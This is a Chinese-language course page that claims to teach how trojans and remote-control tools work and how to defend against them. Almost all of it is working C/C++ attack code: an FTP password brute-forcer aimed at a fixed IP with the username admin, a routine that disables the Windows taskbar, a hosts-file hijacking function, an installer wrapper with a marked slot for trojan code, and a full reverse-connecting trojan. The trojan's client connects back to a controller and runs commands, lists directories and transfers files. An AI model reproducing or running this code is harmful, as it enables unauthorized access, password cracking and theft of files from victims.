【课程简介】
C/C++语言是除了汇编之外,最接近底层的计算机语言,目前windows,linux,iOS,Android等主流操作系统都是用C/C++编写的,所以很多病毒、木马也都是用C/C++实现的。课程的目的就是通过C语言揭秘木马和各种远程控制软件的实现原理以及如何防护。
【课程知识点】
1、木马入侵系统的方式;
2、木马入侵到宿主目标后的关键行为分析;
3、可信任端口以及端口扫描技术;
4、远程控制的实现代码实现;
5、恶意代码中使用TCP、UDP协议与防火墙穿越技术;
6、360网络安全防护的实现原理。
穷举密码暴力破解ftp账户的密码:
#include <stdio.h> #include <string.h> #define CONTENT "open %s\nuser\n%s\n%s\nbye\n" int write_file(const char *ip, const char *user, const char *passwd) { FILE *p = fopen("a.txt", "w"); if (p) { char buf[1024] = { 0 }; sprintf(buf, CONTENT, ip, user, passwd); fputs(buf, p); fclose(p); return 0;//如果成功,返回0 } return -1;//失败,-1 } int main() { int i; for (i = 0; i < 1000000; i++)//假设密码全部由数字组成 { char pass[100] = { 0 }; sprintf(pass, "%06d", i);//格式化为字符串 if (write_file("192.168.101.138", "admin", pass) == 0) { FILE *p = _popen("ftp -n -s:a.txt", "r"); while (!feof(p)) { char buf[1024] = { 0 }; fgets(buf, sizeof(buf), p); if (strncmp(buf, "230", 3) == 0)//根据返回值进行判断 230 代表成功, { printf("pass:%s\n", pass); return 0; } } _pclose(p); } } return 0; }
功能函数:
锁死任务栏
// lockmask.cpp : 定义应用程序的入口点。 // #include "stdafx.h" #include "lockmask.h" // 功能函数 /* 修改应用程序图标 vs:替换工程名.ico文件 QT:a.找到一张图片.ico,名字改为myapp.ico b.创建文本文档myapp.rc。 内部添加 IDI_ICON1 ICON DISCARDABLE "myapp.ico" c. 在myapp.pro文件最后加上RC_FILE=myapp.rc, 重新生成之后,就修改成功了; */ /* vs2013辩词额不需要依赖库,同时兼容xp的项目 项目--属性--配置属性--常规--平台工具集--windwos xp 项目--属性--配置属性--c/c++ --代码生成--运行库--多线程(/MT). */ #include "stdafx.h" #include <stdio.h> #include <string.h> #include <Windows.h> #include <ShellAPI.h> #pragma warning(disable:4996) void getWinVersion()//得到win版本 { OSVERSIONINFO a; a.dwOSVersionInfoSize = sizeof(a); GetVersionEx(&a); } int setHosts(const char *IP, const char *domain)//修改hosts文件 { char s[100] = { 0 }; GetSystemDirectoryA(s, sizeof(s));//得到windows系统目录 char path[100] = { 0 }; sprintf(path, "%s\\%s", s, "\\drivers\\etc\\hosts"); char content[1024] = { 0 }; sprintf(content, "%s %s", IP, domain); FILE *p = fopen(path, "a");//打开hosts文件 if (p) { fputs(content, p); fclose(p); return 0; } return -1; } HWND getTask()//得到任务栏句柄 { typedef HWND(WINAPI *PROCGETTASKMANWND)(void);//什么一个HWND func();类型的函数指针 PROCGETTASKMANWND GetTaskmanWindow;//定义函数指针变量 HMODULE hUser32 = GetModuleHandleA("user32");//引用user32.dll库 if (!hUser32) return NULL; GetTaskmanWindow = (PROCGETTASKMANWND)GetProcAddress(hUser32, "GetTaskmanWindow"); if (!GetTaskmanWindow) return NULL; HWND h = GetTaskmanWindow(); return GetParent(GetParent(h)); } int APIENTRY _tWinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPTSTR lpCmdLine, _In_ int nCmdShow) { HWND h = getTask(); //EnableWindow(h, false);//将任务栏设置为不可用 EnableWindow(h, true);//将任务栏设置为可用 return 0; }
安装程序加壳
// setupShell.cpp : 定义应用程序的入口点。 // #include "stdafx.h" #include "setupShell.h" int SetupShell()//setup.exe安装程序加壳 { STARTUPINFO si; memset(&si, 0, sizeof(STARTUPINFO)); si.cb = sizeof(STARTUPINFO); si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOW; PROCESS_INFORMATION pi; memset(&pi, 0, sizeof(PROCESS_INFORMATION)); if (CreateProcess(TEXT("setup.dat"), NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) { CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return 0; } return -1; } int APIENTRY _tWinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPTSTR lpCmdLine, _In_ int nCmdShow) { //这里是木马程序的代码 // SetupShell(); return 0; }
木马病毒攻击原理演示
木马服务端:
//gcc -o server server.c -L. -lmysock #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include "mysock.h" //8192是8k #define BUFSIZE 8192 void getfile(int sock, const char *buf) { char srcFile[256] = { 0 }; char destFile[256] = { 0 }; //得到用户输入的源文件名和目标文件名 sscanf(buf, "get %s %s", srcFile, destFile); char cmd[1024] = { 0 }; sprintf(cmd, "get %s", srcFile); tcp_send(sock, cmd, strlen(cmd));//将源文件名发 memset(cmd, 0, sizeof(cmd)); tcp_recv(sock, cmd, sizeof(cmd));//接收文件大小,格式为字符串 int len = 0; sscanf(cmd, "%d", &len);//将文件大小转化为数字 //如果文件大于0个字节 if (len > 0) { FILE *p = fopen(destFile, "wb");//用写的方式打开目标文件 if (p) { char *content = (char *)malloc(len); memset(content, 0, len); //给目标回复OK,表示已经准备好,可以接收文件内容了 tcp_send(sock, "OK", 2); //根据len的大小,循环接收数据,直到收到了len字节个数据,就停止接收 int rc = 0; while (rc < len) { int aa = tcp_recv(sock, &content[rc], len - rc); rc += aa; } //将收到的内容写入文件 fwrite(content, len, 1, p); free(content); fclose(p); printf("success\n"); } else { printf("open %s fail\n", destFile); } } } void putfile(int sock, const char *buf) { char srcFile[256] = { 0 }; char destFile[256] = { 0 }; //得到用户输入的源文件名和目标文件名 sscanf(buf, "put %s %s", srcFile, destFile); //用读的方式打开源文件 FILE *p = fopen(srcFile, "rb"); if (p) { char cmd[1024] = { 0 }; int len = fseek(p, 0, SEEK_END); len = ftell(p);//得到文件长度 if (len > 0) { //格式化字符串为put 目标文件名 文件大小 sprintf(cmd, "put %s %d", destFile, len); //发送命令 tcp_send(sock, cmd, strlen(cmd)); memset(cmd, 0, sizeof(cmd)); //接收回复 tcp_recv(sock, cmd, sizeof(cmd)); //如果回复内容为OK,代表对方已经做好接收文件的准备 if (strcmp(cmd, "OK") == 0) { //根据文件大小,在堆中开启一个内容buffer char *content = (char *)malloc(len); //回到文件开始位置 fseek(p, 0, SEEK_SET); //将文件内容一下读入content fread(content, len, 1, p); //发送文件内容,如果文件内容很大,那么循环发送,直到发送完毕 int rc = 0; while (rc < len) { int aa = tcp_send(sock, &content[rc], len - rc); rc += aa; } //释放堆内存内容 free(content); } } fclose(p); memset(cmd, 0, sizeof(cmd)); tcp_recv(sock, cmd, sizeof(cmd)); printf("%s\n", cmd); } else { printf("%s open fail, %s\n", srcFile, strerror(errno)); } } int main() { //建立一个TCP socket int server_sock = create_socket(1); if (server_sock == -1) { printf("create error %s\n", strerror(errno)); return 0; } //将socket绑定到8080端口 int rc = bind_socket(server_sock, 8080); if (rc == -1) { printf("bind error %s\n", strerror(errno)); return 0; } //开始listen rc = tcp_listen(server_sock); if (rc == -1) { printf("listen error %s\n", strerror(errno)); return 0; } char IP[100] = { 0 }; //开始等待,直到有连接,返回远程连接的socket,IP为远程IP地址 int sock = tcp_accept(server_sock, IP); if (sock <= 0) { printf("accept error %s\n", strerror(errno)); } printf("from %s\n", IP); char *buf = (char *)malloc(BUFSIZE); while (1) { memset(buf, 0, BUFSIZE); fgets(buf, BUFSIZE, stdin); buf[strlen(buf) - 1] = 0;//去掉字符串最后的回车键 //如果用户输入的为ls或者exec执行以下代码 if ((strncmp(buf, "ls ", 3) == 0) || (strncmp(buf, "exec ", 5) == 0)) { tcp_send(sock, buf, strlen(buf));//发送指令 memset(buf, 0, BUFSIZE); tcp_recv(sock, buf, BUFSIZE);//接收返回结果 printf("%s\n", buf);//打印返回结果 } else if (strncmp(buf, "get ", 4) == 0)//用户输入get命令 { getfile(sock, buf); } else if (strncmp(buf, "put ", 4) == 0)//用户输入put命令 { putfile(sock, buf); } else { printf("input command error,please input again\n"); } } free(buf); close_socket(sock);//关闭连接 return 0; }
木马客户端:
// file.cpp : 定义应用程序的入口点。 #include "stdafx.h" #include "file.h" #include "mysock.h" #include <stdio.h> #pragma comment(lib, "mysock.lib") #pragma warning(disable:4996) //8192是8k #define BUFSIZE 8192 int exec(int sock, const char *cmd) { //执行指定的程序 int rc = WinExec(cmd, SW_NORMAL); if (rc > 31) { //执行成功,回复success tcp_send(sock, "success", 7); return 0; } else { //执行失败,回复fail tcp_send(sock, "fail", 4); return -1; } } int ls(int sock, const char *dir) { char szFile[256] = { 0 }; strcpy(szFile, dir); if (szFile[strlen(szFile) - 1] == '\\') { strcat(szFile, "*.*"); } else { strcat(szFile, "\\*.*"); } //得到指定目录下的所有文件 WIN32_FIND_DATAA FindFileData; HANDLE hFind = FindFirstFileA(szFile, &FindFileData); if (hFind == INVALID_HANDLE_VALUE) { char tmp[1024] = { 0 }; sprintf(tmp, "open %s fail", dir); tcp_send(sock, tmp, strlen(tmp)); return -1; } char *buf = (char *)malloc(BUFSIZE); memset(buf, 0, BUFSIZE); //循环得到每个文件,将结果放入buf while (1) { memset(szFile, 0, sizeof(szFile)); if (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { sprintf(szFile, "%s\t<DIR>\n", FindFileData.cFileName); } else { sprintf(szFile, "%s\n", FindFileData.cFileName);; } strcat(buf, szFile); if (!FindNextFileA(hFind, &FindFileData)) break; } //将得到的文件发送出去 tcp_send(sock, buf, strlen(buf)); free(buf); FindClose(hFind); return 0; } int put(int sock, const char *cmd) { char file[256] = { 0 }; int len = 0; //得到文件名和文件长度 sscanf(cmd, "%s %d", file, &len); //用写方式打开文件 FILE *p = fopen(file, "wb"); if (p && len) { //根据文件大小,在堆中分配一块内存 char *buf = (char *)malloc(len);//在堆里面开辟一个内存 memset(buf, 0, len); //回复OK,表示已经做好接收文件的准备 tcp_send(sock, "OK", 2); //接收数据,如果一次接收不完,循环接收 int rc = 0; while (rc < len) { int aa = tcp_recv(sock, &buf[rc], len - rc); rc += aa; } //将收到的内容写入文件 fwrite(buf, len, 1, p); free(buf); fclose(p); //回复success,表示成功接收,并写入文件 tcp_send(sock, "success", 7); return 0; } else { tcp_send(sock, "fail", 4); return -1; } } int get(int sock, const char *file) { //用读方式打开文件 FILE *p = fopen(file, "rb"); if (p) { int len = fseek(p, 0, SEEK_END); len = ftell(p);//得到文件长度 char cmd[100] = { 0 }; sprintf(cmd, "%d", len); //发送文件名和文件长度 tcp_send(sock, cmd, strlen(cmd)); memset(cmd, 0, sizeof(cmd)); //接收数据 tcp_recv(sock, cmd, sizeof(cmd)); //如果接收到的是OK,那么开始发送数据 if (strcmp(cmd, "OK") == 0) { //根据文件大小,在内存堆中分配内存 char *buf = (char*)malloc(len); memset(buf, 0, len); //回到文件开始位置 fseek(p, 0, SEEK_SET); //将文件内容读取到buf中 fread(buf, len, 1, p); //发送文件内容,如果一次发送不完,循环发送 int rc = 0; while (rc < len) { int aa = tcp_send(sock, &buf[rc], len - rc); rc += aa; } free(buf); } fclose(p); return 0; } else { //如果文件打开失败,回复字符0 tcp_send(sock, "0", 1); return -1; } } int APIENTRY _tWinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPTSTR lpCmdLine, _In_ int nCmdShow) { init_socket();//初始化网络库 //建立一个TCP socket int sock = create_socket(1); if (sock == -1) { return 0; } //连接到目标服务器 int rc = tcp_connect(sock, "192.168.1.202", 8080); if (rc == -1) { return 0; } char *buf = (char *)malloc(BUFSIZE); //循环从目标服务器接收指令 while (1) { memset(buf, 0, BUFSIZE); int rc = tcp_recv(sock, buf, BUFSIZE);//接收来自与服务端的消息 if (rc <= 0) break; //接收到exec指令 if (strncmp(buf, "exec ", 5) == 0) { exec(sock, &buf[5]); } //接收到ls指令 if (strncmp(buf, "ls ", 3) == 0) { ls(sock, &buf[3]); } //接收到put指令 if (strncmp(buf, "put ", 4) == 0) { put(sock, &buf[4]); } //接收到get指令 if (strncmp(buf, "get ", 4) == 0) { get(sock, &buf[4]); } } free(buf); close_socket(sock); free_socket(); return 0; }